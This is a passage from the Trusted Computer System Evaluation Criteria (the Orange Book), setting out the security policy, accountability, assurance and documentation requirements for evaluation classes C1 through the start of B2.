satisfies the discretionary security requirements by providing separation of users and data. It incorporates some form of credible controls capable of enforcing access limitations on an individual basis, i.e., ostensibly suitable for allowing users to be able to protect project or private information and to keep other users from accidentally reading or destroying their data. The class (C1) environment is expected to be one of cooperating users processing data at the same level(s) of sensitivity. The following are minimal requirements for systems assigned a class (C1) rating: 2.1.1 SECURITY POLICY 2.1.1.1 Discretionary Access Control THE TCB SHALL DEFINE AND CONTROL ACCESS BETWEEN NAMED USERS AND NAMED OBJECTS (E.G., FILES AND PROGRAMS) IN THE ADP SYSTEM. THE ENFORCEMENT MECHANISM (E.G., SELF/GROUP/PUBLIC CONTROLS, ACCESS CONTROL LISTS) SHALL ALLOW USERS TO SPECIFY AND CONTROL SHARING OF THOSE OBJECTS BY NAMED INDIVIDUALS OR DEFINED GROUPS OR BOTH. 2.1.2 ACCOUNTABILITY 2.1.2.1 Identification and Authentication THE TCB SHALL REQUIRE USERS TO IDENTIFY THEMSELVES TO IT BEFORE BEGINNING TO PERFORM ANY OTHER ACTIONS THAT THE TCB IS EXPECTED TO MEDIATE. FURTHERMORE, THE TCB SHALL USE A PROTECTED MECHANISM (E.G., PASSWORDS) TO AUTHENTICATE THE USER'S IDENTITY. THE TCB SHALL PROTECT AUTHENTICATION DATA SO THAT IT CANNOT BE ACCESSED BY ANY UNAUTHORIZED USER. 2.1.3 ASSURANCE 2.1.3.1 Operational Assurance 2.1.3.1.1 System Architecture THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING (E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES). RESOURCES CONTROLLED BY THE TCB MAY BE A DEFINED SUBSET OF THE SUBJECTS AND OBJECTS IN THE ADP SYSTEM. 2.1.3.1.2 System Integrity HARDWARE AND/OR SOFTWARE FEATURES SHALL BE PROVIDED THAT CAN BE USED TO PERIODICALLY VALIDATE THE CORRECT OPERATION OF THE ON-SITE HARDWARE AND FIRMWARE ELEMENTS OF THE TCB. 2.1.3.2 Life-Cycle Assurance 2.1.3.2.1 Security Testing THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION. TESTING SHALL BE DONE TO ASSURE THAT THERE ARE NO OBVIOUS WAYS FOR AN UNAUTHORIZED USER TO BYPASS OR OTHERWISE DEFEAT THE SECURITY PROTECTION MECHANISMS OF THE TCB. (SEE THE SECURITY TESTING GUIDELINES.) 2.1.4 DOCUMENTATION 2.1.4.1 Security Features User's Guide A SINGLE SUMMARY, CHAPTER, OR MANUAL IN USER DOCUMENTATION SHALL DESCRIBE THE PROTECTION MECHANISMS PROVIDED BY THE TCB, GUIDELINES ON THEIR USE, AND HOW THEY INTERACT WITH ONE ANOTHER. 2.1.4.2 Trusted Facility Manual A MANUAL ADDRESSED TO THE ADP SYSTEM ADMINISTRATOR SHALL PRESENT CAUTIONS ABOUT FUNCTIONS AND PRIVILEGES THAT SHOULD BE CONTROLLED WHEN RUNNING A SECURE FACILITY. 2.1.4.3 Test Documentation THE SYSTEM DEVELOPER SHALL PROVIDE TO THE EVALUATORS A DOCUMENT THAT DESCRIBES THE TEST PLAN AND RESULTS OF THE SECURITY MECHANISMS' FUNCTIONAL TESTING. 2.1.4.4 Design Documentation DOCUMENTATION SHALL BE AVAILABLE THAT PROVIDES A DESCRIPTION OF THE MANUFACTURER'S PHILOSOPHY OF PROTECTION AND AN EXPLANATION OF HOW THIS PHILOSOPHY IS TRANSLATED INTO THE TCB. IF THE TCB IS COMPOSED OF DISTINCT MODULES, THE INTERFACES BETWEEN THESE MODULES SHALL BE DESCRIBED. 2.2 CLASS (C2): CONTROLLED ACCESS PROTECTION Systems in this class enforce a more finely grained discretionary access control than (C1) systems, making users individually accountable for their actions through login procedures, auditing of security-relevant events, and resource isolation. The following are minimal requirements for systems assigned a class (C2) rating: 2.2.1 SECURITY POLICY 2.2.1.1 Discretionary Access Control The TCB shall define and control access between named users and named objects (e.g., files and programs) in the ADP system. The enforcement mechanism (e.g., self/group/public controls, access control lists) shall allow users to specify and control sharing of those objects by named individuals, or defined groups OF INDIVIDUALS, or by both. THE DISCRETIONARY ACCESS CONTROL MECHANISM SHALL, EITHER BY EXPLICIT USER ACTION OR BY DEFAULT, PROVIDE THAT OBJECTS ARE PROTECTED FROM UNAUTHORIZED ACCESS. THESE ACCESS CONTROLS SHALL BE CAPABLE OF INCLUDING OR EXCLUDING ACCESS TO THE GRANULARITY OF A SINGLE USER. ACCESS PERMISSION TO AN OBJECT BY USERS NOT ALREADY POSSESSING ACCESS PERMISSION SHALL ONLY BE ASSIGNED BY AUTHORIZED USERS. 2.2.1.2 Object Reuse WHEN A STORAGE OBJECT IS INITIALLY ASSIGNED, ALLOCATED, OR REALLOCATED TO A SUBJECT FROM THE TCB'S POOL OF UNUSED STORAGE OBJECTS, THE TCB SHALL ASSURE THAT THE OBJECT CONTAINS NO DATA FOR WHICH THE SUBJECT IS NOT AUTHORIZED. 2.2.2 ACCOUNTABILITY 2.2.2.1 Identification and Authentication The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall use a protected mechanism (e.g., passwords) to authenticate the user's identity. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. THE TCB SHALL BE ABLE TO ENFORCE INDIVIDUAL ACCOUNTABILITY BY PROVIDING THE CAPABILITY TO UNIQUELY IDENTIFY EACH INDIVIDUAL ADP SYSTEM USER. THE TCB SHALL ALSO PROVIDE THE CAPABILITY OF ASSOCIATING THIS IDENTITY WITH ALL AUDITABLE ACTIONS TAKEN BY THAT INDIVIDUAL. 2.2.2.2 Audit THE TCB SHALL BE ABLE TO CREATE, MAINTAIN, AND PROTECT FROM MODIFICATION OR UNAUTHORIZED ACCESS OR DESTRUCTION AN AUDIT TRAIL OF ACCESSES TO THE OBJECTS IT PROTECTS. THE AUDIT DATA SHALL BE PROTECTED BY THE TCB SO THAT READ ACCESS TO IT IS LIMITED TO THOSE WHO ARE AUTHORIZED FOR AUDIT DATA. THE TCB SHALL BE ABLE TO RECORD THE FOLLOWING TYPES OF EVENTS: USE OF IDENTIFICATION AND AUTHENTICATION MECHANISMS, INTRODUCTION OF OBJECTS INTO A USER'S ADDRESS SPACE (E.G., FILE OPEN, PROGRAM INITIATION), DELETION OF OBJECTS, AND ACTIONS TAKEN BY COMPUTER OPERATORS AND SYSTEM ADMINISTRATORS AND/OR SYSTEM SECURITY OFFICERS. FOR EACH RECORDED EVENT, THE AUDIT RECORD SHALL IDENTIFY: DATE AND TIME OF THE EVENT, USER, TYPE OF EVENT, AND SUCCESS OR FAILURE OF THE EVENT. FOR IDENTIFICATION/AUTHENTICATION EVENTS THE ORIGIN OF REQUEST (E.G., TERMINAL ID) SHALL BE INCLUDED IN THE AUDIT RECORD. FOR EVENTS THAT INTRODUCE AN OBJECT INTO A USER'S ADDRESS SPACE AND FOR OBJECT DELETION EVENTS THE AUDIT RECORD SHALL INCLUDE THE NAME OF THE OBJECT. THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE TO SELECTIVELY AUDIT THE ACTIONS OF ANY ONE OR MORE USERS BASED ON INDIVIDUAL IDENTITY. 2.2.3 ASSURANCE 2.2.3.1 Operational Assurance 2.2.3.1.1 System Architecture The TCB shall maintain a domain for its own execution that protects it from external interference or tampering (e.g., by modification of its code or data structures). Resources controlled by the TCB may be a defined subset of the subjects and objects in the ADP system. THE TCB SHALL ISOLATE THE RESOURCES TO BE PROTECTED SO THAT THEY ARE SUBJECT TO THE ACCESS CONTROL AND AUDITING REQUIREMENTS. 2.2.3.1.2 System Integrity Hardware and/or software features shall be provided that can be used to periodically validate the correct operation of the on-site hardware and firmware elements of the TCB. 2.2.3.2 Life-Cycle Assurance 2.2.3.2.1 Security Testing The security mechanisms of the ADP system shall be tested and found to work as claimed in the system documentation. Testing shall be done to assure that there are no obvious ways for an unauthorized user to bypass or otherwise defeat the security protection mechanisms of the TCB. TESTING SHALL ALSO INCLUDE A SEARCH FOR OBVIOUS FLAWS THAT WOULD ALLOW VIOLATION OF RESOURCE ISOLATION, OR THAT WOULD PERMIT UNAUTHORIZED ACCESS TO THE AUDIT OR AUTHENTICATION DATA. (See the Security Testing guidelines.) 2.2.4 DOCUMENTATION 2.2.4.1 Security Features User's Guide A single summary, chapter, or manual in user documentation shall describe the protection mechanisms provided by the TCB, guidelines on their use, and how they interact with one another. 2.2.4.2 Trusted Facility Manual A manual addressed to the ADP system administrator shall present cautions about functions and privileges that should be controlled when running a secure facility. THE PROCEDURES FOR EXAMINING AND MAINTAINING THE AUDIT FILES AS WELL AS THE DETAILED AUDIT RECORD STRUCTURE FOR EACH TYPE OF AUDIT EVENT SHALL BE GIVEN. 2.2.4.3 Test Documentation The system developer shall provide to the evaluators a document that describes the test plan and results of the security mechanisms' functional testing. 2.2.4.4 Design Documentation Documentation shall be available that provides a description of the manufacturer's philosophy of protection and an explanation of how this philosophy is translated into the TCB. If the TCB is composed of distinct modules, the interfaces between these modules shall be described. 3.0 DIVISION B: MANDATORY PROTECTION The notion of a TCB that preserves the integrity of sensitivity labels and uses them to enforce a set of mandatory access control rules is a major requirement in this division. Systems in this division must carry the sensitivity labels with major data structures in the system. The system developer also provides the security policy model on which the TCB is based and furnishes a specification of the TCB. Evidence must be provided to demonstrate that the reference monitor concept has been implemented. 3.1 CLASS (B1): LABELED SECURITY PROTECTION Class (B1) systems require all the features required for class (C2). In addition, an informal statement of the security policy model, data labeling, and mandatory access control over named subjects and objects must be present. The capability must exist for accurately labeling exported information. Any flaws identified by testing must be removed. The following are minimal requirements for systems assigned a class (B1) rating: 3.1.1 SECURITY POLICY 3.1.1.1 Discretionary Access Control The TCB shall define and control access between named users and named objects (e.g., files and programs) in the ADP system. The enforcement mechanism (e.g., self/group/public controls, access control lists) shall allow users to specify and control sharing of those objects by named individuals, or defined groups of individuals, or by both. The discretionary access control mechanism shall, either by explicit user action or by default, provide that objects are protected from unauthorized access. These access controls shall be capable of including or excluding access to the granularity of a single user. Access permission to an object by users not already possessing access permission shall only be assigned by authorized users. 3.1.1.2 Object Reuse When a storage object is initially assigned, allocated, or reallocated to a subject from the TCB's pool of unused storage objects, the TCB shall assure that the object contains no data for which the subject is not authorized. 3.1.1.3 Labels SENSITIVITY LABELS ASSOCIATED WITH EACH SUBJECT AND STORAGE OBJECT UNDER ITS CONTROL (E.G., PROCESS, FILE, SEGMENT, DEVICE) SHALL BE MAINTAINED BY THE TCB. THESE LABELS SHALL BE USED AS THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS. IN ORDER TO IMPORT NON-LABELED DATA, THE TCB SHALL REQUEST AND RECEIVE FROM AN AUTHORIZED USER THE SECURITY LEVEL OF THE DATA, AND ALL SUCH ACTIONS SHALL BE AUDITABLE BY THE TCB. 3.1.1.3.1 Label Integrity SENSITIVITY LABELS SHALL ACCURATELY REPRESENT SECURITY LEVELS OF THE SPECIFIC SUBJECTS OR OBJECTS WITH WHICH THEY ARE ASSOCIATED. WHEN EXPORTED BY THE TCB, SENSITIVITY LABELS SHALL ACCURATELY AND UNAMBIGUOUSLY REPRESENT THE INTERNAL LABELS AND SHALL BE ASSOCIATED WITH THE INFORMATION BEING EXPORTED. 3.1.1.3.2 Exportation of Labeled Information THE TCB SHALL DESIGNATE EACH COMMUNICATION CHANNEL AND I/O DEVICE AS EITHER SINGLE-LEVEL OR MULTILEVEL. ANY CHANGE IN THIS DESIGNATION SHALL BE DONE MANUALLY AND SHALL BE AUDITABLE BY THE TCB. THE TCB SHALL MAINTAIN AND BE ABLE TO AUDIT ANY CHANGE IN THE CURRENT SECURITY LEVEL ASSOCIATED WITH A SINGLE-LEVEL COMMUNICATION CHANNEL OR I/O DEVICE. 3.1.1.3.2.1 Exportation to Multilevel Devices WHEN THE TCB EXPORTS AN OBJECT TO A MULTILEVEL I/O DEVICE, THE SENSITIVITY LABEL ASSOCIATED WITH THAT OBJECT SHALL ALSO BE EXPORTED AND SHALL RESIDE ON THE SAME PHYSICAL MEDIUM AS THE EXPORTED INFORMATION AND SHALL BE IN THE SAME FORM (I.E., MACHINE-READABLE OR HUMAN-READABLE FORM). WHEN THE TCB EXPORTS OR IMPORTS AN OBJECT OVER A MULTILEVEL COMMUNICATION CHANNEL, THE PROTOCOL USED ON THAT CHANNEL SHALL PROVIDE FOR THE UNAMBIGUOUS PAIRING BETWEEN THE SENSITIVITY LABELS AND THE ASSOCIATED INFORMATION THAT IS SENT OR RECEIVED. 3.1.1.3.2.2 Exportation to Single-Level Devices SINGLE-LEVEL I/O DEVICES AND SINGLE-LEVEL COMMUNICATION CHANNELS ARE NOT REQUIRED TO MAINTAIN THE SENSITIVITY LABELS OF THE INFORMATION THEY PROCESS. HOWEVER, THE TCB SHALL INCLUDE A MECHANISM BY WHICH THE TCB AND AN AUTHORIZED USER RELIABLY COMMUNICATE TO DESIGNATE THE SINGLE SECURITY LEVEL OF INFORMATION IMPORTED OR EXPORTED VIA SINGLE-LEVEL COMMUNICATION CHANNELS OR I/O DEVICES. 3.1.1.3.2.3 Labeling Human-Readable Output THE ADP SYSTEM ADMINISTRATOR SHALL BE ABLE TO SPECIFY THE PRINTABLE LABEL NAMES ASSOCIATED WITH EXPORTED SENSITIVITY LABELS. THE TCB SHALL MARK THE BEGINNING AND END OF ALL HUMAN-READABLE, PAGED, HARDCOPY OUTPUT (E.G., LINE PRINTER OUTPUT) WITH HUMAN-READABLE SENSITIVITY LABELS THAT PROPERLY* REPRESENT THE SENSITIVITY OF THE OUTPUT. THE TCB SHALL, BY DEFAULT, MARK THE TOP AND BOTTOM OF EACH PAGE OF HUMAN-READABLE, PAGED, HARDCOPY OUTPUT (E.G., LINE PRINTER OUTPUT) WITH HUMAN-READABLE SENSITIVITY LABELS THAT PROPERLY* REPRESENT THE OVERALL SENSITIVITY OF THE OUTPUT OR THAT PROPERLY* REPRESENT THE SENSITIVITY OF THE INFORMATION ON THE PAGE. THE TCB SHALL, BY DEFAULT AND IN AN APPROPRIATE MANNER, MARK OTHER FORMS OF HUMAN- READABLE OUTPUT (E.G., MAPS, GRAPHICS) WITH HUMAN- READABLE SENSITIVITY LABELS THAT PROPERLY* REPRESENT THE SENSITIVITY OF THE OUTPUT. ANY OVERRIDE OF THESE MARKING DEFAULTS SHALL BE AUDITABLE BY THE TCB. _____________________________________________________________ * THE HIERARCHICAL CLASSIFICATION COMPONENT IN HUMAN-READABLE SENSITIVITY LABELS SHALL BE EQUAL TO THE GREATEST HIERARCHICAL CLASSIFICATION OF ANY OF THE INFORMATION IN THE OUTPUT THAT THE LABELS REFER TO; THE NON-HIERARCHICAL CATEGORY COMPONENT SHALL INCLUDE ALL OF THE NON-HIERARCHICAL CATEGORIES OF THE INFORMATION IN THE OUTPUT THE LABELS REFER TO, BUT NO OTHER NON-HIERARCHICAL CATEGORIES. _____________________________________________________________ 3.1.1.4 Mandatory Access Control THE TCB SHALL ENFORCE A MANDATORY ACCESS CONTROL POLICY OVER ALL SUBJECTS AND STORAGE OBJECTS UNDER ITS CONTROL (E.G., PROCESSES, FILES, SEGMENTS, DEVICES). THESE SUBJECTS AND OBJECTS SHALL BE ASSIGNED SENSITIVITY LABELS THAT ARE A COMBINATION OF HIERARCHICAL CLASSIFICATION LEVELS AND NON-HIERARCHICAL CATEGORIES, AND THE LABELS SHALL BE USED AS THE BASIS FOR MANDATORY ACCESS CONTROL DECISIONS. THE TCB SHALL BE ABLE TO SUPPORT TWO OR MORE SUCH SECURITY LEVELS. (SEE THE MANDATORY ACCESS CONTROL GUIDELINES.) THE FOLLOWING REQUIREMENTS SHALL HOLD FOR ALL ACCESSES BETWEEN SUBJECTS AND OBJECTS CONTROLLED BY THE TCB: A SUBJECT CAN READ AN OBJECT ONLY IF THE HIERARCHICAL CLASSIFICATION IN THE SUBJECT'S SECURITY LEVEL IS GREATER THAN OR EQUAL TO THE HIERARCHICAL CLASSIFICATION IN THE OBJECT'S SECURITY LEVEL AND THE NON- HIERARCHICAL CATEGORIES IN THE SUBJECT'S SECURITY LEVEL INCLUDE ALL THE NON-HIERARCHICAL CATEGORIES IN THE OBJECT'S SECURITY LEVEL. A SUBJECT CAN WRITE AN OBJECT ONLY IF THE HIERARCHICAL CLASSIFICATION IN THE SUBJECT'S SECURITY LEVEL IS LESS THAN OR EQUAL TO THE HIERARCHICAL CLASSIFICATION IN THE OBJECT'S SECURITY LEVEL AND ALL THE NON-HIERARCHICAL CATEGORIES IN THE SUBJECT'S SECURITY LEVEL ARE INCLUDED IN THE NON- HIERARCHICAL CATEGORIES IN THE OBJECT'S SECURITY LEVEL. 3.1.2 ACCOUNTABILITY 3.1.2.1 Identification and Authentication The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall MAINTAIN AUTHENTICATION DATA THAT INCLUDES INFORMATION FOR VERIFYING THE IDENTITY OF INDIVIDUAL USERS (E.G., PASSWORDS) AS WELL AS INFORMATION FOR DETERMINING THE CLEARANCE AND AUTHORIZATIONS OF INDIVIDUAL USERS. THIS DATA SHALL BE USED BY THE TCB TO AUTHENTICATE the user's identity AND TO DETERMINE THE SECURITY LEVEL AND AUTHORIZATIONS OF SUBJECTS THAT MAY BE CREATED TO ACT ON BEHALF OF THE INDIVIDUAL USER. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. The TCB shall be able to enforce individual accountability by providing the capability to uniquely identify each individual ADP system user. The TCB shall also provide the capability of associating this identity with all auditable actions taken by that individual. 3.1.2.2 Audit The TCB shall be able to create, maintain, and protect from modification or unauthorized access or destruction an audit trail of accesses to the objects it protects. The audit data shall be protected by the TCB so that read access to it is limited to those who are authorized for audit data. The TCB shall be able to record the following types of events: use of identification and authentication mechanisms, introduction of objects into a user's address space (e.g., file open, program initiation), deletion of objects, and actions taken by computer operators and system administrators and/or system security officers. THE TCB SHALL ALSO BE ABLE TO AUDIT ANY OVERRIDE OF HUMAN-READABLE OUTPUT MARKINGS. FOR each recorded event, the audit record shall identify: date and time of the event, user, type of event, and success or failure of the event. For identification/authentication events the origin of request (e.g., terminal ID) shall be included in the audit record. For events that introduce an object into a user's address space and for object deletion events the audit record shall include the name of the object AND THE OBJECT'S SECURITY LEVEL. The ADP system administrator shall be able to selectively audit the actions of any one or more users based on individual identity AND/OR OBJECT SECURITY LEVEL. 3.1.3 ASSURANCE 3.1.3.1 Operational Assurance 3.1.3.1.1 System Architecture The TCB shall maintain a domain for its own execution that protects it from external interference or tampering (e.g., by modification of its code or data structures). Resources controlled by the TCB may be a defined subset of the subjects and objects in the ADP system. THE TCB SHALL MAINTAIN PROCESS ISOLATION THROUGH THE PROVISION OF DISTINCT ADDRESS SPACES UNDER ITS CONTROL. The TCB shall isolate the resources to be protected so that they are subject to the access control and auditing requirements. 3.1.3.1.2 System Integrity Hardware and/or software features shall be provided that can be used to periodically validate the correct operation of the on-site hardware and firmware elements of the TCB. 3.1.3.2 Life-Cycle Assurance 3.1.3.2.1 Security Testing THE SECURITY MECHANISMS OF THE ADP SYSTEM SHALL BE TESTED AND FOUND TO WORK AS CLAIMED IN THE SYSTEM DOCUMENTATION. A TEAM OF INDIVIDUALS WHO THOROUGHLY UNDERSTAND THE SPECIFIC IMPLEMENTATION OF THE TCB SHALL SUBJECT ITS DESIGN DOCUMENTATION, SOURCE CODE, AND OBJECT CODE TO THOROUGH ANALYSIS AND TESTING. THEIR OBJECTIVES SHALL BE: TO UNCOVER ALL DESIGN AND IMPLEMENTATION FLAWS THAT WOULD PERMIT A SUBJECT EXTERNAL TO THE TCB TO READ, CHANGE, OR DELETE DATA NORMALLY DENIED UNDER THE MANDATORY OR DISCRETIONARY SECURITY POLICY ENFORCED BY THE TCB; AS WELL AS TO ASSURE THAT NO SUBJECT (WITHOUT AUTHORIZATION TO DO SO) IS ABLE TO CAUSE THE TCB TO ENTER A STATE SUCH THAT IT IS UNABLE TO RESPOND TO COMMUNICATIONS INITIATED BY OTHER USERS. ALL DISCOVERED FLAWS SHALL BE REMOVED OR NEUTRALIZED AND THE TCB RETESTED TO DEMONSTRATE THAT THEY HAVE BEEN ELIMINATED AND THAT NEW FLAWS HAVE NOT BEEN INTRODUCED. (SEE THE SECURITY TESTING GUIDELINES.) 3.1.3.2.2 Design Specification and Verification AN INFORMAL OR FORMAL MODEL OF THE SECURITY POLICY SUPPORTED BY THE TCB SHALL BE MAINTAINED THAT IS SHOWN TO BE CONSISTENT WITH ITS AXIOMS. 3.1.4 DOCUMENTATION 3.1.4.1 Security Features User's Guide A single summary, chapter, or manual in user documentation shall describe the protection mechanisms provided by the TCB, guidelines on their use, and how they interact with one another. 3.1.4.2 Trusted Facility Manual A manual addressed to the ADP system administrator shall present cautions about functions and privileges that should be controlled when running a secure facility. The procedures for examining and maintaining the audit files as well as the detailed audit record structure for each type of audit event shall be given. THE MANUAL SHALL DESCRIBE THE OPERATOR AND ADMINISTRATOR FUNCTIONS RELATED TO SECURITY, TO INCLUDE CHANGING THE SECURITY CHARACTERISTICS OF A USER. IT SHALL PROVIDE GUIDELINES ON THE CONSISTENT AND EFFECTIVE USE OF THE PROTECTION FEATURES OF THE SYSTEM, HOW THEY INTERACT, HOW TO SECURELY GENERATE A NEW TCB, AND FACILITY PROCEDURES, WARNINGS, AND PRIVILEGES THAT NEED TO BE CONTROLLED IN ORDER TO OPERATE THE FACILITY IN A SECURE MANNER. 3.1.4.3 Test Documentation The system developer shall provide to the evaluators a document that describes the test plan and results of the security mechanisms' functional testing. 3.1.4.4 Design Documentation Documentation shall be available that provides a description of the manufacturer's philosophy of protection and an explanation of how this philosophy is translated into the TCB. If the TCB is composed of distinct modules, the interfaces between these modules shall be described. AN INFORMAL OR FORMAL DESCRIPTION OF THE SECURITY POLICY MODEL ENFORCED BY THE TCB SHALL BE AVAILABLE AND AN EXPLANATION PROVIDED TO SHOW THAT IT IS SUFFICIENT TO ENFORCE THE SECURITY POLICY. THE SPECIFIC TCB PROTECTION MECHANISMS SHALL BE IDENTIFIED AND AN EXPLANATION GIVEN TO SHOW THAT THEY SATISFY THE MODEL. 3.2 CLASS (B2): STRUCTURED PROTECTION In class (B2) systems, the TCB is based on a clearly defined and documented formal security policy model that requires the discretionary and mandatory access control enforcement found in class (B1) systems be extended to all subjects and objects in the ADP system. In addition, covert channels are addressed. The TCB must be carefully structured into protection-critical and non- protection-critical elements. The TCB interface is well-defined and the TCB design and implementation enable it to be subjected to more thorough testing and more complete review. Authentication mechanisms are strengthened, trusted facility management is provided in the form of support for system administrator and operator functions, and stringent configuration management controls are imposed. The system is relatively resistant to penetration. The following are minimal requirements for systems assigned a class (B2) rating: 3.2.1 SECURITY POLICY 3.2.1.1 Discretionary Access Control The TCB shall define and control access between named users and named objects (e.g., files and programs) in the ADP system. The enforcement mechanism (e.g., self/group/public controls, access control lists) shall allow users to specify and control sharing of those objects by named individuals, or defined groups of individuals, or by both. The discretionary access control mechanism shall, either by explicit user action or by default, provide that objects are protected from unauthorized access. These access controls shall be capable of including or excluding access to the granularity of a single user. Access permission to an object by users not already possessing access permission shall only be assigned by authorized users. 3.2.1.2 Object Reuse When a storage object is initially assigned, allocated, or reallocated to a subject from the TCB's pool of unused storage objects, the TCB shall assure that the object contains no data for which the subject is not authorized. 3.2.1.3 Labels Sensitivity labels associated with each ADP SYSTEM RESOURCE (E.G., SUBJECT, STORAGE OBJECT) THAT IS DIRECTLY OR INDIRECTLY ACCESSIBLE BY SUBJECTS EXTERNAL TO THE TCB shall be maintained by the TCB. These labels shall be used as the basis for mandatory access control decisions. In order to import non- labeled data, the TCB shall request and receive from an authorized user the security level of the data, and all such actions shall be auditable by the TCB. 3.2.1.3.1 Label Integrity Sensitivity labels shall accurately represent security levels of the specific subjects or objects with which they are associated. When exported by the TCB, sensitivity labels shall accurately and unambiguously represent the internal labels and shall be associated with the information being exported. 3.2.1.3.2 Exportation of Labeled Information The TCB shall designate each communication channel and I/O device as either single-level or multilevel. Any change in this designation shall be done manually and shall be auditable by the TCB. The TCB shall maintain and be able to audit any change in the current security level associated with a single-level communication channel or I/O device. 3.2.1.3.2.1 Exportation to Multilevel Devices When the TCB exports an object to a multilevel I/O device, the sensitivity label associated with that object shall also be exported and shall reside on the same physical medium as the exported information and shall be in the same form (i.e., machine-readable or human-readable form). When the TCB exports or imports an object over a multilevel communication channel, the protocol used on that channel shall provide for the unambiguous pairing between the sensitivity labels and the associated information that is sent or received. 3.2.1.3.2.2 Exportation to Single-Level Devices Single-level I/O devices and single-level communication channels are not required to maintain the sensitivity labels of the information they process. However, the TCB shall include a mechanism by which the TCB and an authorized user reliably communicate to designate the single security level of information imported or exported via single-level communication channels or I/O devices. 3.2.1.3.2.3 Labeling Human-Readable Output The ADP system administrator shall be able to specify the printable label names associated with exported sensitivity labels. The TCB shall mark the beginning and end of all human-readable, paged, hardcopy output (e.g., line printer output) with human-readable sensitivity labels that properly* represent the sensitivity of the output. The TCB shall, by default, mark the top and bottom of each page of human-readable, paged, hardcopy output (e.g., line printer output) with human-readable sensitivity labels that properly* represent the overall sensitivity of the output or that properly* represent the sensitivity of the information on the page. The TCB shall, by default and in an appropriate manner, mark other forms of human-readable output (e.g., maps, graphics) with human-readable sensitivity labels that properly* represent the sensitivity of the output. Any override of these marking defaults shall be auditable by the TCB. _____________________________________________________________ * The hierarchical classification component in human-readable sensitivity labels shall be equal to the greatest hierarchical classification of any of the information in the output that the labels refer to; the non-hierarchical category component shall include all of the non-hierarchical categories of the information in the output the labels refer to, but no other non-hierarchical categories. _____________________________________________________________ 3.2.1.3.3 Subject Sensitivity Labels THE TCB SHALL IMMEDIATELY NOTIFY A TERMINAL USER OF EACH CHANGE IN THE SECURITY LEVEL ASSOCIATED WITH THAT USER DURING AN INTERACTIVE SESSION. A TERMINAL USER SHALL BE ABLE TO QUERY THE TCB AS DESIRED FOR A DISPLAY OF THE SUBJECT'S COMPLETE SENSITIVITY LABEL. 3.2.1.3.4 Device Labels THE TCB SHALL SUPPORT THE ASSIGNMENT OF MINIMUM AND MAXIMUM SECURITY LEVELS TO ALL ATTACHED PHYSICAL DEVICES. THESE SECURITY LEVELS SHALL BE USED BY THE TCB TO ENFORCE CONSTRAINTS IMPOSED BY THE PHYSICAL ENVIRONMENTS IN WHICH THE DEVICES ARE LOCATED. 3.2.1.4 Mandatory Access Control The TCB shall enforce a mandatory access control policy over all RESOURCES (I.E., SUBJECTS, STORAGE OBJECTS, AND I/O DEVICES) THAT ARE DIRECTLY OR INDIRECTLY ACCESSIBLE BY SUBJECTS EXTERNAL TO THE TCB. These subjects and objects shall be assigned sensitivity labels that are a combination of hierarchical classification levels and non-hierarchical categories, and the labels shall be used as the basis for mandatory access control decisions. The TCB shall be able to support two or more such security levels. (See the Mandatory Access Control guidelines.) The following requirements shall hold for all accesses between ALL SUBJECTS EXTERNAL TO THE TCB AND ALL OBJECTS DIRECTLY OR INDIRECTLY ACCESSIBLE BY THESE SUBJECTS: A subject can read an object only if the hierarchical classification in the subject's security level is greater than or equal to the hierarchical classification in the object's security level and the non- hierarchical categories in the subject's security level include all the non-hierarchical categories in the object's security level. A subject can write an object only if the hierarchical classification in the subject's security level is less than or equal to the hierarchical classification in the object's security level and all the non-hierarchical categories in the subject's security level are included in the non-hierarchical categories in the object's security level. 3.2.2 ACCOUNTABILITY 3.2.2.1 Identification and Authentication The TCB shall require users to identify themselves to it before beginning to perform any other actions that the TCB is expected to mediate. Furthermore, the TCB shall maintain authentication data that includes information for verifying the identity of individual users (e.g., passwords) as well as information for determining the clearance and authorizations of individual users. This data shall be used by the TCB to authenticate the user's identity and to determine the security level and authorizations of subjects that may be created to act on behalf of the individual user. The TCB shall protect authentication data so that it cannot be accessed by any unauthorized user. The TCB shall be able to enforce individual accountability by providing the capability to uniquely identify each individual ADP system user. The TCB shall also provide the capability of associating this identity with all auditable actions taken by that individual. 3.2.2.1.1 Trusted Path THE TCB SHALL SUPPORT A TRUSTED COMMUNICATION PATH BETWEEN ITSELF AND USER FOR INITIAL LOGIN AND AUTHENTICATION. COMMUNICATIONS VIA THIS PATH SHALL BE INITIATED EXCLUSIVELY BY A USER. 3.2.2.2 Audit The TCB shall be able to create, maintain, and protect from modification or unauthorized access or destruction an audit trail of accesses to the objects it protects. The audit data shall be protected by the TCB so that read access to it is limited to those who are authorized for audit data. The TCB shall be able to record the following types of events: use of identification and authentication mechanisms, introduction of objects into a user's address space (e.g., file open, program initiation), deletion of objects, and actions taken by computer operators and system administrators and/or system security officers. The TCB shall also be able to audit any override of human-readable output markings. For each recorded event, the audit record shall identify: date and time of the event, user, type of event, and success or failure of the event. For identification/authentication events the origin of request (e.g., terminal ID) shall be included in the audit record. For events that introduce an object into a user's address space and for object deletion events the audit record shall include the name of the object and the object's security level. The ADP system administrator shall be able to selectively audit the actions of any one or more users based on individual identity and/or object security level. THE TCB SHALL BE ABLE TO AUDIT THE IDENTIFIED EVENTS THAT MAY BE USED IN THE EXPLOITATION OF COVERT STORAGE CHANNELS. 3.2.3 ASSURANCE 3.2.3.1 Operational Assurance 3.2.3.1.1 System Architecture THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING (E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES). THE TCB SHALL MAINTAIN PROCESS ISOLATION THROUGH THE PROVISION OF DISTINCT ADDRESS SPACES UNDER ITS CONTROL. THE TCB SHALL BE INTERNALLY STRUCTURED INTO WELL-DEFINED LARGELY INDEPENDENT MODULES. IT SHALL MAKE EFFECTIVE USE OF AVAILABLE HARDWARE 